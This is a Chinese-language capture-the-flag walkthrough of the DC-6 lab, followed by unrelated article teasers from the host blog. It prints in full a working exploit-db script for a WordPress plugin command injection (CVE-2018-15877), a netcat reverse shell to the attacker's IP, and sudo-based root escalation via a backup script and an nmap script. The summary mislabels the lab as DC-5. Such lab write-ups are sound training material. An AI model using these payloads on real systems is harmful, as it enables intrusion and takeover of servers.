WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection                         | https://www.exploit-db.com/exploits/45274
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)           | https://www.exploit-db.com/exploits/50110
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Papers: No Results

发现4个可以利用的漏洞脚本。

┌──(root?kali)-[/home/kali]
└─# searchsploit -x php/webapps/50110.pyExploit: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)URL: https://www.exploit-db.com/exploits/50110Path: /usr/share/exploitdb/exploits/php/webapps/50110.pyCodes: CVE-2018-15877Verified: False
File Type: Python script, Unicode text, UTF-8 text executable

3.4.4 查看poc文件

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cp /usr/share/exploitdb/exploits/php/webapps/50110.py poc.py┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat poc.py                                                  
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
www-data@192.168.101.28  whoami
www-data
www-data@192.168.101.28  pwd
/var/www/html/wp-admin
www-data@192.168.101.28  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""import requests
from bs4 import BeautifulSoupdef exploit(whoami, ip):while 1:cmd = input(whoami+"@"+ip+"  ")url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'payload = "google.com.tr | " + cmddata = {'ip': payload , 'lookup' : 'lookup' }x = requests.post(url, data = data, cookies=getCookie(ip))html_doc = x.text.split("<p>Output from dig: </p>")[1]soup = BeautifulSoup(html_doc, 'html.parser')print(soup.p.text)def poc(ip):url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }x = requests.post(url, data = myobj, cookies=getCookie(ip))html_doc = x.text.split("<p>Output from dig: </p>")[1]soup = BeautifulSoup(html_doc, 'html.parser')print("[*] Perfect! ")exploit(soup.p.text, ip)def getCookie(ip):url = 'http://' + ip + '/wp-login.php'#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}x = requests.post(url, data = data)cookies = {}cookie = str(x.headers["Set-Cookie"])for i in cookie.split():if(i.find("wordpress") != -1 and i.find("=") != -1):cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]return cookiesip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)                                      

该poc文件中已经说明使用方法

3.4.5 运行poc文件

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# python poc.py              
What's your target IP?
192.168.6.157
What's your username?
mark
What's your password?
helpdesk01
[*] Please wait...
[*] Perfect! 
www-data@192.168.6.157  

3.4.6 反弹shell

3.4.6.1 kali监听6666端口
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
3.4.6.2 反弹shell

运行poc.py后的终端:

www-data@192.168.6.157  nc -e /bin/sh 192.168.6.66 6666
3.4.6.3 调用标准终端
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
connect to [192.168.6.66] from wordy [192.168.6.157] 56862
python -c "import pty;pty.spawn('/bin/bash')"
www-data@dc-6:/var/www/html/wp-admin$ 

调用标准终端成功。

3.4.7 尝试suid提权

寻找有SUID权限(4000)的文件,不显示其他的错误信息:

www-data@dc-6:/var/www/html/wp-admin$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
www-data@dc-6:/var/www/html/wp-admin$ 

无果。

3.4.8 更多系统信息

在/home/mark/stuff文件发现graham账号的用户信息。

www-data@dc-6:/var/www/html/wp-admin$ cd /home
cd /home
www-data@dc-6:/home$ ls
ls
graham	jens  mark  sarah
www-data@dc-6:/home$ cd mark
cd mark
www-data@dc-6:/home/mark$ ls
ls
stuff
www-data@dc-6:/home/mark$ cd stuff
cd stuff
www-data@dc-6:/home/mark/stuff$ ls
ls
things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat th*
cat th*
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

获得账号信息:

序号用户名密码
1grahamGSo7isUM1D4

3.5 graham用户相关

3.5.1 切换graham用户

www-data@dc-6:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4graham@dc-6:/home/mark/stuff$ 

登录graham用户成功

3.5.2 再次尝试sudo提权

graham@dc-6:/home/mark/stuff$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

发现/home/jens/backups.sh

3.5.3 bash写入backups.sh

graham@dc-6:/home/jens$ echo "/bin/bash" >> backups.sh
echo "/bin/bash" >> backups.sh
graham@dc-6:/home/jens$ 

3.6 jens用户相关

3.6.1 切换jens用户

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
sudo -u jens ./backups.sh
tar: Removing leading `/' from member names
jens@dc-6:~$ 

切换jens用户成功。

3.6.2 查看suid可执行的命令

jens@dc-6:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
jens@dc-6:~$ 

3.6.3 查看sudo可执行的命令

sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

发现可执行的sudo命令:/usr/bin/nmap

3.7 nmap提权

3.7.1 创建shell.nse文件

jens@dc-6:~$ echo 'os.execute("/bin/bash")' > shell.nse
echo 'os.execute("/bin/bash")' > shell.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  shell.nse
jens@dc-6:~$ 

3.7.2 执行shell.nse文件

jens@dc-6:~$ sudo -u root nmap --script=shell.nse
sudo -u root nmap --script=shell.nseStarting Nmap 7.40 ( https://nmap.org ) at 2024-05-29 22:52 AEST
root@dc-6:/home/jens# 

千难万难终于取得root权限,O(∩_∩)O哈哈~

3.7.3 查看flag

root@dc-6:/home/jens# find / -name *flag*
/var/www/html/wp-includes/images/icon-pointer-flag.png
/var/www/html/wp-includes/images/icon-pointer-flag-2x.png
/var/lib/mysql/debian-10.1.flag
/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/root/theflag.txt
root@dc-6:/home/jens# cat /root/theflag.txtYb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) Congratulations!!!Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

渗透总结

在DC-5靶场渗透测试中,使用了nmap、whatweb等工具进行渗透测试,使用nmap进行主机发现和端口扫描测试,使用dirb扫描目录,使用whatweb信息网页信息搜集取到了关键信息,wpscan爆破用户名和密码,最后进行了linux系统提权,并获得所有的flag,思路如下:

  • 使用nmap进行主机发现和端口扫描
  • 使用dir目录扫描
  • 漏洞搜索
  • 获得poc,并运行poc文件
  • 反弹shell
  • 进行3个用户(mark,graham,jens)系统信息探索
  • nmap获得root权限
  • linux内核提权,并获得flag

参考文章

  • DC-6环境
  • arp-scan使用
  • nmap详细使用教程
  • 黑客工具之whatweb详细使用教程
  • xhydra的使用
  • WPScan使用完整攻略
  • web网站目录爆破工具Dirb使用指南
  • dirsearch使用教程
  • dc-6渗透测试流程图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/23121.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决Mac无法上网/网络异常的方法,重置网络

解放方法 1、前往文件夹&#xff1a;/Library/Preferences/SystemConfiguration 2 、在弹窗中输入上边的地址 3 、把文件夹中除了下图未选中的文件全部删掉&#xff0c;删除时需要输入密码 4 、重启mac 电脑就搞定了。

python的一种集成开发工具:PyCharm开发工具

一. 简介 本文简单了解两种 python语言所使用的 集成开发环境&#xff1a; PyCharm、vscode。 python语言学习中&#xff0c;可以任意选中这两个集成开发环境的一种就可以。本文先来简单学习 PyCharm开发工具安装与使用。 二. python的一种集成开发工具&#xff1a;PyChar…

【LeetCode】40. 组合总和 II

组合总和 II 题目描述&#xff1a; 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用 一次 。 注意&#xff1a;解集不能包含重复的组合。 示例…

Nginx的https功能

一.HTTPS功能简介 Web网站的登录页面都是使用https加密传输的&#xff0c;加密数据以保障数据的安全&#xff0c;HTTPS能够加密信息&#xff0c;以免敏感信息被第三方获取&#xff0c;所以很多银行网站或电子邮箱等等安全级别较高的服务都会采用HTTPS协议&#xff0c;HTTPS其实…

Springboot框架开发与实用篇之热部署 2024详解

开发与实用 手动启动热部署 热部署&#xff08;Hot Deployment&#xff09;指的是在应用程序正在运行的情况下&#xff0c;对其进行更新或修改并将这些变更应用到正在运行的应用程序中的过程。通常情况下&#xff0c;传统的部署方式需要停止应用程序、部署更新&#xff0c;然…

基于51单片机的智能晾衣架设计资料

第三章:硬件单元电路 经过上述分析明确了本次设计的主要目标,为了实现晾衣自身能够完成对外界数据的采集与分析,集成控制环节我们采用了ATMEL公司生产的AT89C52单片机,与市面上的其他嵌入式控制单元相比较在体积与功耗方面都相当出色。此次设计主要突破在于设计合理的控制电…

最短路问题

最短路问题是图论里非常经典的一个考点 接下来着重讲述五种求最短路的算法&#xff1a;朴素版dijkstra算法、堆优化版的dijkstra算法、bellman-ford算法、spfa算法、floyd算法 总体思维导图&#xff1a; 总体思路&#xff1a; 最短路分为两大类 { 在以下给出的时间复杂度中n…

学习笔记——路由网络基础——静态路由(static)

三、静态路由(static) 1、静态路由 (1)定义 静态路由(Static)&#xff1a;由管理员手动配置和维护的路由。静态路由配置简单&#xff0c;被广泛应用于网络中。此外还可以实现负载均衡和路由备份。 静态路由默认优先级为60&#xff0c;如果想在多条静态路由中让某条路由优选…

uniapp小程序开发 | 从零实现一款影视类app (后台接口实现,go-zero微服务的使用)

uniapp小程序开发实战系列&#xff0c;完整介绍从零实现一款影视类小程序。包含小程序前端和后台接口的全部完整实现。系列连载中&#xff0c;喜欢的可以点击收藏。 该篇着重介绍获取轮播图后台接口和获取正在热映电影的两个后台接口的实现。 后台服务使用golang&#xff0c;…

MySQL—多表查询—自连接

一、引言 自连接&#xff0c;顾名思义就是自己连接自己。 自连接的语法结构&#xff1a; 表 A 别名 A join 表 A 别名 B ON 条件 ...; 注意&#xff1a; 1、这种语法有一个关键字&#xff1a;join 2、自连接查询可以是内连接的语法&#xff0c;可以是外连接的语法&#xff08…

【游戏】Goc赚钱模拟器1.0版

Hello!大家好&#xff0c;我是学霸小羊&#xff0c;今天分享一个Goc游戏。 //注&#xff1a;以下代码为Goc原创代码。 大家可以在下面网址写入代码www.51goc.com慧通教育http://www.51goc.com注&#xff1a;Goc编辑器路径&#xff1a; www.51goc.com ➡ 登录 ➡ 游客登陆 ➡…

Three.js加入到可视化大屏,看看能否惊艳到你?

three.js 在可视化大屏上可以实现各种三维场景和动画效果&#xff0c;可以根据具体需求进行定制化开发&#xff0c;并结合其他技术&#xff0c;如数据可视化、交互设计等&#xff0c;实现更加丰富的可视化效果。 three.js 是一个基于 WebGL 的 JavaScript 3D 库&#xff0c;可…

循迹模块之循迹小车

1.TCRT5000传感器 TCRT5000传感器的红外发射二极管 不断发射红外线 1.1 当发射出的红外线没有被反射回来或被反射回来但强度不够大时&#xff0c; 红外接收管一直处于关断状态&#xff0c;此时模块的输出端为高电平&#xff0c;指示二极管一直处于熄灭状态 1.2 当被检测物体…

跳跃游戏二

方法一&#xff1a;&#xff08;双指针法&#xff09;此题参考跳台阶问题&#xff0c;题目要求求到达最后一个点的最小跳跃次数&#xff0c;那么我们就可以从最后一个往前推&#xff0c;先看谁能离得最远&#xff0c;并且能跳到最后一个。假设i位置是离最后一个位置最远&#x…

【新书上市】图像画质算法与底层视觉技术

图书主页&#xff1a;https://book.douban.com/subject/36895899/ 购买链接&#xff1a;https://item.jd.com/10105601481762.html 内容介绍 本书主要介绍了图像画质相关的各类底层视觉任务及其相关算法&#xff0c;重点讲解了去噪、超分辨率、去雾、高动态范围、图像合成与图…

Python语法详解module3(组合数据类型列表、元组、字典、集合详细用法)

目录 一、列表列表的创建多维列表列表的访问和修改列表的添加和删除列表的遍历使用 for 循环遍历使用 while 循环遍历同时遍历索引和元素列表推导式 常用的列表函数len()sort()reverse()index()count()extend()clear() 二、元组创建元组访问元组元素元组的不可变性元组的优点元…

Scalable Diffusion Models with Transformers

Metahttps://github.com/facebookresearch/DiT/tree/main?tabreadme-ov-file 问题引入 transformer架构的latent diffusion model&#xff0c;有较好的延展性并是sota&#xff1b; methods patchify&#xff1a;原图片 I ∈ R H W 3 I\in\mathbb{R}^{H\times W\times 3…

【微信小程序】模板语法

数据绑定 对应页面的 js 文件中 定义数据到 data 中&#xff1a; 在页面中使用 {{}} 语法直接使用&#xff1a; 事件绑定 事件触发 常用事件&#xff1a; 事件对象的属性列表&#xff08;事件回调触发&#xff0c;会收到一个事件对象 event&#xff0c;它的详细属性如下&…

免费,C++蓝桥杯等级考试真题--第10级(含答案解析和代码)

C蓝桥杯等级考试真题--第10级 答案&#xff1a;D 解析&#xff1a;数组是一种线性数据结构&#xff0c;其特点是数组中的元素在内存中占据一段连续的存储空间&#xff0c;每个元素通过索引&#xff08;下标&#xff09;访问&#xff0c;索引起始通常是0。 数组的长度在声明时…

操作符详解

一、移位操作符 1.1左移操作 左边丢弃&#xff0c;右边补0 1.2右移操作 算数右移&#xff1a;右边丢弃&#xff0c;左边补原符号位 逻辑右移&#xff1a;右边丢弃&#xff0c;左边补0 int main() {int a -1;int b a >> 1;printf("b%d\n",b);return 0; } 原码…